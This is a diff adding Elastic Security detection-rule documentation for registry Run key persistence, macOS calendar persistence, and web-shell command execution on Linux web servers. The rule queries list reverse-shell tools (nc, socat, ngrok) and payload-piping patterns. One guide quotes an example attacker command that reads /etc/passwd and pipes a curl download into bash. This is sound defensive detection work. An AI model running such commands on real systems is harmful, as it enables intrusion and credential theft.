"HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*" + ) and + /* add common legitimate changes without being too restrictive as this is one of the most abused AESPs */ + not registry.data.strings : "ctfmon.exe /n" and + not (registry.value : "Application Restart #*" and process.name : "csrss.exe") and + not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + not registry.data.strings : ("*:\\Program Files\\*", + "*:\\Program Files (x86)\\*", + "*:\\Users\\*\\AppData\\Local\\*", + "* --processStart *", + "* --process-start-args *", + "ms-teamsupdate.exe -UninstallT20", + " ", + "grpconv -o", "* /burn.runonce*", "* /startup", + "?:\\WINDOWS\\SysWOW64\\Macromed\\Flash\\FlashUtil32_*_Plugin.exe -update plugin") and + not process.executable : ("?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "D:\\*", + "\\Device\\Mup*", + "C:\\Windows\\SysWOW64\\reg.exe", + "C:\\Windows\\System32\\changepk.exe", + "C:\\Windows\\System32\\netsh.exe", + "C:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe", + "C:\\$WINDOWS.~BT\\Sources\\SetupHost.exe", + "C:\\Program Files\\Cisco Spark\\CiscoCollabHost.exe", + "C:\\Program Files (x86)\\FastTrack Software\\Admin By Request\\AdminByRequest.exe", + "C:\\Program Files (x86)\\Exclaimer Ltd\\Cloud Signature Update Agent\\Exclaimer.CloudSignatureAgent.exe", + "C:\\ProgramData\\Lenovo\\Vantage\\AddinData\\LenovoBatteryGaugeAddin\\x64\\QSHelper.exe", + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\*\\Installer\\setup.exe", + "C:\\ProgramData\\bomgar-scc-*\\bomgar-scc.exe", + "C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil*_pepper.exe", + "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE", + "C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*\\AdobeARM.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-calendar-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-calendar-file-modification.asciidoc new file mode 100644 index 0000000000..23e6c14344 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-calendar-file-modification.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-36-suspicious-calendar-file-modification]] +=== Suspicious Calendar File Modification + +Identifies suspicious modifications of the calendar file by an unusual process. Adversaries may create a custom calendar notification procedure to execute a malicious program at a recurring interval to establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.reversec.com/posts/2020/10/operationalising-calendar-alerts-persistence-on-macos +* https://github.com/FSecureLABS/CalendarPersist +* https://github.com/D00MFist/PersistentJXA/blob/master/CalendarPersist.js + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Calendar File Modification* + + +Calendar files on macOS can be manipulated to trigger events, potentially allowing adversaries to execute malicious programs at set intervals, thus achieving persistence. This detection rule identifies unusual processes modifying calendar files, excluding known legitimate applications. By focusing on unexpected executables altering these files, it helps uncover potential threats exploiting calendar notifications for malicious purposes. + + +*Possible investigation steps* + + +- Review the process executable path that triggered the alert to determine if it is a known or unknown application, focusing on paths not excluded by the rule. +- Examine the modification timestamp of the calendar file to correlate with any known user activity or scheduled tasks that might explain the change. +- Check the user account associated with the file modification to assess if the activity aligns with typical user behavior or if it suggests unauthorized access. +- Investigate any recent installations or updates of applications on the system that might have introduced new or unexpected executables. +- Look for additional indicators of compromise on the host, such as unusual network connections or other file modifications, to assess if the calendar file change is part of a broader attack. + + +*False positive analysis* + + +- Legitimate third-party calendar applications may modify calendar files as part of their normal operation. Users can create exceptions for these known applications by adding their executable paths to the exclusion list. +- Automated backup or synchronization tools might access and modify calendar files. Identify these tools and exclude their processes to prevent false alerts. +- User scripts or automation workflows that interact with calendar files for personal productivity purposes can trigger this rule. Review and whitelist these scripts if they are verified as non-malicious. +- System updates or maintenance tasks occasionally modify calendar files. Monitor the timing of such events and correlate them with known update schedules to differentiate between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further execution of malicious programs. +- Terminate any suspicious processes identified as modifying calendar files that are not part of the known legitimate applications list. +- Restore the calendar files from a known good backup to ensure no malicious events are scheduled. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious software. +- Review and audit user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring and alerting for unusual calendar file modifications across the network to enhance detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like~ "/Users/*/Library/Calendars/*.calendar/Events/*.ics" and + not process.executable like ("/System/Library/*", "/System/Applications/Calendar.app/Contents/MacOS/*", + "/System/Applications/Mail.app/Contents/MacOS/Mail", "/usr/libexec/xpcproxy", + "/sbin/launchd", "/Applications/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-child-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-child-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..8cbb0d7278 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-child-execution-via-web-server.asciidoc @@ -0,0 +1,336 @@ +[[prebuilt-rule-8-19-36-suspicious-child-execution-via-web-server]] +=== Suspicious Child Execution via Web Server + +Identifies suspicious child processes executed via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/tag/web-shell/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Child Execution via Web Server* + + +Adversaries may backdoor web servers with web shells to establish persistent access to systems. A web shell is a malicious script, often embedded into a compromised web server, that grants an attacker remote access and control over the server. This enables the execution of arbitrary commands, data exfiltration, and further exploitation of the target network. + +This rule detects a web server process spawning script and command line interface programs, potentially indicating attackers executing commands using the web shell. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate abnormal behaviors by the subject process such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential reverse shells or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Investigate the process information for malicious or uncommon processes/process trees. + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} + - Investigate the process tree spawned from the user that is used to run the web application service. A user that is running a web application should not spawn other child processes. + - !{osquery{"label":"Osquery - Retrieve Process Info for Webapp User","query":"SELECT name, cmdline, parent, path, uid FROM processes WHERE uid = {{process.user.id}}"}} +- Examine the command line to determine which commands or scripts were executed. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.parent.name in ( + "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne", "httpd.worker", "flask", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman", + "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm" + ) or + process.parent.name like ("php-fpm*", "lsphp*", "gunicorn*", "*.cgi", "*.fcgi") or + ( + process.parent.name like "ruby*" and + process.parent.command_line like~ ("*puma*", "*rails*", "*passenger*") + ) or + ( + process.parent.name like "python*" and + process.parent.command_line like~ ( + "*hypercorn*", "*flask*", "*uvicorn*", "*django*", "*app.py*", "*server.py*", "*wsgi.py*", "*asgi.py*" + ) + ) or + (process.parent.name like "perl*" and process.parent.command_line like~ "*plackup*") or + ( + process.parent.name == "java" and ( + process.parent.args like~ ( + /* Tomcat */ + "org.apache.catalina.startup.Bootstrap", "-Dcatalina.base=*", + + /* Jetty */ + "org.eclipse.jetty.start.Main", "-Djetty.home=*", + + /* WildFly / JBoss */ + "org.jboss.modules.Main", "-Djboss.home.dir=*", + + /* WebLogic */ + "weblogic.Server", "-Dweblogic.Name=*", "*weblogic-launcher.jar*", + + /* WebSphere traditional + Liberty */ + "com.ibm.ws.runtime.WsServer", "com.ibm.ws.kernel.boot.cmdline.Bootstrap", + + /* GlassFish */ + "com.sun.enterprise.glassfish.bootstrap.ASMain", + + /* Resin */ + "com.caucho.server.resin.Resin", + + /* Spring Boot */ + "org.springframework.boot.loader.*", + + /* Quarkus */ + "*quarkus-run.jar*", "io.quarkus.runner.GeneratedMain", + + /* Micronaut */ + "io.micronaut.runtime.Micronaut", + + /* Dropwizard */ + "io.dropwizard.cli.ServerCommand", + + /* Play */ + "play.core.server.ProdServerStart", + + /* Helidon */ + "io.helidon.microprofile.server.Main", "io.helidon.webserver*", + + /* Vert.x */ + "io.vertx.core.Launcher", + + /* Keycloak */ + "org.keycloak*", + + /* Apereo CAS */ + "org.apereo.cas*", + + /* Elasticsearch */ + "org.elasticsearch.bootstrap.Elasticsearch", + + /* Atlassian / Gerrit */ + "com.atlassian.jira.startup.Launcher", "*BitbucketServerLauncher*", "com.google.gerrit.pgm.Daemon", + + /* Solr */ + "*-Dsolr.solr.home=*", + + /* Jenkins */ + "*jenkins.war*" + ) or + process.working_directory like "/u0?/*" + ) + ) +) and ( + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/home/*/*", "/root/*" + ) or + process.name like~ ( + // Hidden processes + ".*", + + // Suspicious file formats + "*.elf", "*.sh", "*.py", "*.rb", "*.pl", "*.lua*", "*.php*", ".js", "*.bin", "*.jar", "*.mjs", + + // Network utilities often used for reverse shells + "nc", "netcat", "ncat", "telnet", "socat", "openssl", "nc.openbsd", "ngrok", "nc.traditional", + + // Cloud CLI + "az", "gcloud", "aws", "kubectl", "helm", "docker", "ctr", "crictl", + + // Misc. tools + "whoami", "ifconfig", "ip", "ss", "top", "htop", "du", "lsblk", "lsof", "tcpdump", + "strace", "ltrace", "curl", "wget", "dig", "nslookup", "host", "nmap", "arp", "traceroute", + "cat", "touch", "mv", "rm", "mkdir", "ln", "chmod", "sudo", "xxd", "base64", "basez", + "base64plain", "base64url", "base64mime", "base64pem", "basenc", "base32", "base16", "chpasswd", + "passwd" + ) +) and +not ( + ( + process.parent.name == "java" and + process.executable like ("/tmp/CVU_*/exectask*", "/u01/app/*/bin/crsctl.bin", "/u01/app/*/bin/olsnodes.bin") + ) or + process.working_directory like ("/u01/*/sysman/emd", "/run/systemd/mount-rootfs") or + ( + process.parent.executable == "/opt/morpheus/embedded/java/jre/bin/java" and + process.command_line like ( + "chmod -R g+w /var/opt/morpheus/morpheus-local/repo/git/*", + "sudo -S -u morpheus-local*" + ) + ) or + ( + process.parent.command_line == "/bin/sh /etc/init.d/nginx rotate" and + process.name == "cat" + ) or + ( + process.parent.name == "asterisk" and + process.executable like ( + "/var/www/html/dialapplet-web/agi/*.php", "/var/lib/asterisk/bin/faxnotify.php" + ) + ) or + process.parent.args like "/home/agent/Claude/*" or + (process.parent.executable == "/usr/lib/jvm/java-21-openjdk/bin/java" and process.name == "ln") or + ( + process.parent.name == "java" and + process.name == "chmod" and + process.command_line like ("chmod 00660 /etc/pki/*", "*/u01/app/*") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-command-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-command-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..f6fc24ff43 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-command-execution-via-web-server.asciidoc @@ -0,0 +1,407 @@ +[[prebuilt-rule-8-19-36-suspicious-command-execution-via-web-server]] +=== Suspicious Command Execution via Web Server + +Identifies suspicious command executions via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Command Execution via Web Server* + + +This alert fires when a Linux web server launches a shell to run commands that look like exploitation activity, such as discovery, credential access, payload decoding, or reverse shell setup. That matters because web servers rarely need to spawn shell commands, so this behavior often signals command injection, a dropped web shell, or attacker persistence. A common pattern is an app exploit causing php-fpm or nginx to run `sh -c 'id; cat /etc/passwd; curl ... | bash'` from `/tmp`. + + +*Possible investigation steps* + + +- Review the full process ancestry and execution context to determine what application component invoked the shell, which service account ran it, what working directory and environment it used, and whether the command aligns with any documented application behavior. +- Correlate the execution time with web server access, error, and application logs to identify the triggering request, including source IP, requested URI, parameters, headers, authenticated user or session, and any indications of command injection or direct web shell access. +- Inspect recently created or modified files in the web root and writable locations such as upload, cache, temp, and shared-memory directories for dropped scripts, encoded payloads, cron changes, SSH key additions, or other persistence artifacts tied to the command. +- Scope for follow-on activity by pivoting on the source IP, command fragments, spawned children, outbound connections, and similar executions on other web servers to determine whether exploitation was successful, repeated, or part of a broader campaign. +- If the activity is unauthorized or cannot be explained, isolate the host, preserve relevant volatile and disk evidence, rotate secrets accessible to the web service, and remediate the vulnerable application or remove any discovered web shell before restoring service. + + +*False positive analysis* + + +- A legitimate web administration or diagnostics function may invoke `sh -c` to run commands such as `id`, `whoami`, `hostname`, or read OS metadata for status pages; verify the command matches documented application behavior and correlate it to an authorized request in web or application logs. +- A normal application workflow may use the web server to unpack user uploads or stage temporary content under `/tmp`, `/var/tmp`, or `/dev/shm` during import, conversion, or update operations; verify the execution aligns with a known user action or scheduled maintenance window and that the created files are expected temporary artifacts owned by the service account. + + +*Response and remediation* + + +- Isolate the affected web server from the network or remove it from the load balancer immediately, preserve a forensic snapshot if possible, and block the attacker-controlled IPs, domains, and downloaded payload locations observed in the command chain. +- Hunt for and remove persistence by deleting web shells and dropped scripts in the document root, uploads, `/tmp`, `/var/tmp`, and `/dev/shm`, and by cleaning unauthorized cron entries, systemd services, startup scripts, SSH `authorized_keys`, and any attacker-created local accounts. +- Reset trust on the host by rotating application secrets, database passwords, API tokens, cloud credentials, and SSH keys that were present or reachable from the web server, and invalidate active sessions tied to the compromised application. +- Rebuild or reimage the server from a known-good source, patch the exploited web application or server component, restore only validated content and configurations, and verify no unauthorized binaries, modified packages, or backdoored application files remain before returning it to service. +- Escalate to incident response immediately if the shell command opened a reverse shell, downloaded or piped a payload into an interpreter, accessed sensitive files such as `/etc/shadow`, `.ssh`, or cloud credential stores, or if similar activity is found on additional hosts. +- Harden the environment by removing unnecessary shell execution from the application, disabling write and execute permissions in web-accessible upload and temp paths, enforcing least privilege for the web service account, enabling WAF or virtual patching for the exploited weakness, and increasing monitoring on web roots and startup locations. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.parent.name in ( + "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne", "httpd.worker", "flask", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman", + "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm" + ) or + process.parent.name like ("php-fpm*", "lsphp*", "gunicorn*", "*.cgi", "*.fcgi") or + ( + process.parent.name like "ruby*" and + process.parent.command_line like~ ("*puma*", "*rails*", "*passenger*") + ) or + ( + process.parent.name like "python*" and + process.parent.command_line like~ ( + "*hypercorn*", "*flask*", "*uvicorn*", "*django*", "*app.py*", "*server.py*", "*wsgi.py*", "*asgi.py*" + ) + ) or + (process.parent.name like "perl*" and process.parent.command_line like~ "*plackup*") or + ( + process.parent.name == "java" and ( + process.parent.args like~ ( + /* Tomcat */ + "org.apache.catalina.startup.Bootstrap", "-Dcatalina.base=*", + + /* Jetty */ + "org.eclipse.jetty.start.Main", "-Djetty.home=*", + + /* WildFly / JBoss */ + "org.jboss.modules.Main", "-Djboss.home.dir=*", + + /* WebLogic */ + "weblogic.Server", "-Dweblogic.Name=*", "*weblogic-launcher.jar*", + + /* WebSphere traditional + Liberty */ + "com.ibm.ws.runtime.WsServer", "com.ibm.ws.kernel.boot.cmdline.Bootstrap", + + /* GlassFish */ + "com.sun.enterprise.glassfish.bootstrap.ASMain", + + /* Resin */ + "com.caucho.server.resin.Resin", + + /* Spring Boot */ + "org.springframework.boot.loader.*", + + /* Quarkus */ + "*quarkus-run.jar*", "io.quarkus.runner.GeneratedMain", + + /* Micronaut */ + "io.micronaut.runtime.Micronaut", + + /* Dropwizard */ + "io.dropwizard.cli.ServerCommand", + + /* Play */ + "play.core.server.ProdServerStart", + + /* Helidon */ + "io.helidon.microprofile.server.Main", "io.helidon.webserver*", + + /* Vert.x */ + "io.vertx.core.Launcher", + + /* Keycloak */ + "org.keycloak*", + + /* Apereo CAS */ + "org.apereo.cas*", + + /* Elasticsearch */ + "org.elasticsearch.bootstrap.Elasticsearch", + + /* Atlassian / Gerrit */ + "com.atlassian.jira.startup.Launcher", "*BitbucketServerLauncher*", "com.google.gerrit.pgm.Daemon", + + /* Solr */ + "*-Dsolr.solr.home=*", + + /* Jenkins */ + "*jenkins.war*" + ) or + process.working_directory like "/u0?/*" + ) + ) +) and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh", "busybox") and +process.args in ("-c", "-cl", "-lc") and ( + process.command_line like~ ( + + /* Suspicious Paths */ + "* /tmp/* ", "* /var/tmp/* ", "* /dev/shm/*", "* /run/*", "* /var/run/*", + + /* Encoding, Decoding & Piping */ + "*|sh", "*| sh *", "*| sh ", "*|bash*", "*| bash*", "*|zsh*", "*| zsh*", "*|dash*", "*| dash*", + "*|python*", "*| python*", "*|php*", "*| php*", "*|perl*", "*| perl*", "*|ruby*", "*| ruby*", + "*|node*", "*| node*", "*|lua*", "*| lua*", "*|busybox*", "*| busybox*", "*|*base64 -d*", "*|*base64 --decode*", + "*|*base64 --decode*", "*|*openssl base64 -d*", "*xxd *", "*| openssl*enc * -d *", "*b64decode -r*", + + /* Interpreter Execution */ + "*python -c*", "*python3 -c*", "*php -r*", "*perl -e*", "*ruby -e*", "*lua -e*", "*node -e *", + + /* Reverse Shells */ + "*netcat *", "* nc *", "*ncat 